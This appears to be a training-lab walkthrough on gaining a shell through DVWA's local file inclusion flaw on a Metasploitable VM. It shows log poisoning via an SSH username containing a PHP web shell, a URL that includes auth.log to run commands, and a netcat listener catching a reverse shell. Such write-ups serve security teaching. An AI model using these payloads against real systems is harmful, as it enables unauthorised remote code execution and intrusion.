DVWA: Local File Inclusion to Shell using auth.log

Our goal is to exploit the local file include vulnerability and gain shell access to the remote machine.

We see that the 'page' parameter is vulnerable to a local file inclusion. Lets try and include /etc/passwd and see if we have any luck.

We first need to poison some log files in order to get remote code execution. For this we will the auth.log file and try and log in to ssh with out php code as our user.

sam@ubuntu:~$ ssh '<?php system($_GET['c']);?>'@192.168.56.101
The authenticity of host '192.168.56.101 (192.168.56.101)' can't be established.
RSA key fingerprint is SHA256:BQHm5EoHX9GCiOLuVscegPXLQOsuPs+E9d/rrJB84rk.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.56.101' (RSA) to the list of known hosts.
<?php system($_GET[c]);?>@192.168.56.101's password: 
Permission denied, please try again.
<?php system($_GET[c]);?>@192.168.56.101's password: 
Permission denied, please try again.
<?php system($_GET[c]);?>@192.168.56.101's password: 
<?php system($_GET[c]);?>@192.168.56.101: Permission denied (publickey,password).
sam@ubuntu:~$ 

As you can see we tried logging on with the php code as our user. Now what should happen is our php code should be contained in the auth.log file and when we include it from our local file include the php code will be intrepreted and run giving us a command shell to work with.

http://192.168.56.101/dvwa/vulnerabilities/fi/?page=/var/log/auth.log&c=uname%20-a

If we include the page we see the output of the uname command.

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Our next step is to try and get a reverse connect shell on the remote host. For this we will use netcat.

sam@ubuntu:~$ nc -l -v -p 8088
Listening on [0.0.0.0] (family 0, port 8088)
Connection from 192.168.56.101 35239 received!
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@metasploitable:/var/www/dvwa/vulnerabilities/fi$ whoami
whoami
www-data
www-data@metasploitable:/var/www/dvwa/vulnerabilities/fi$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@metasploitable:/var/www/dvwa/vulnerabilities/fi$ 

As you can see we got a reverse connect shell back to us and now have a system prompt we can work from.